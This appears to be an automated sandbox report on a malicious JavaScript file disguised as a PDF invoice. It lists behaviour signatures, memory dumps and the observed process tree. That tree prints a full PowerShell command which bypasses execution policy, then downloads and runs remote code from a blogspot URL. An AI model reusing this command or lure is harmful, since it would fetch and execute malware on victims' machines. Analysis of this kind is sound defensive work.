Analysis
- max time kernel
149s - max time network
150s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
27/04/2026, 09:58
General
- Target invoice-1645080830.pdf (21).js
- Size 21.8MB
- Sample260427-lztk1abs4m
- SHA256 335d50f8758cdab8cfba686bc3856941cfb24ef0c01868e211fafdc292bde050
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (21).js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 172⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_wvobqd12.vpx.ps1
memory/2472-1-0x000001EEB14B0000-0x000001EEB1C5E000-memory.dmp
memory/2472-0-0x000001EEA2AB0000-0x000001EEA2ABC000-memory.dmp
memory/4056-21-0x00000261C5B90000-0x00000261C5C43000-memory.dmp
memory/4056-23-0x00000261C5960000-0x00000261C597C000-memory.dmp
memory/4056-4-0x00000261C53D0000-0x00000261C53F2000-memory.dmp
memory/4056-11-0x00000261C4B50000-0x00000261C4B60000-memory.dmp
memory/4056-12-0x00000261C59C0000-0x00000261C5B82000-memory.dmp
memory/4056-13-0x00007FF4B38F0000-0x00007FF4B3900000-memory.dmp
memory/4056-20-0x00000261C5910000-0x00000261C592C000-memory.dmp
memory/4056-2-0x00000261C4B50000-0x00000261C4B60000-memory.dmp
memory/4056-22-0x00000261C5930000-0x00000261C593A000-memory.dmp
memory/4056-3-0x00000261C4B50000-0x00000261C4B60000-memory.dmp
memory/4056-24-0x00000261C4B50000-0x00000261C4B60000-memory.dmp
memory/4056-25-0x00000261C4B50000-0x00000261C4B60000-memory.dmp
memory/4056-26-0x00000261AC880000-0x00000261AC88C000-memory.dmp
memory/4056-29-0x00000261C4B50000-0x00000261C4B60000-memory.dmp
memory/4056-28-0x00000261C5310000-0x00000261C5322000-memory.dmp
memory/4056-27-0x00000261C4B60000-0x00000261C530E000-memory.dmp
memory/4056-30-0x00007FF4B38F0000-0x00007FF4B3900000-memory.dmp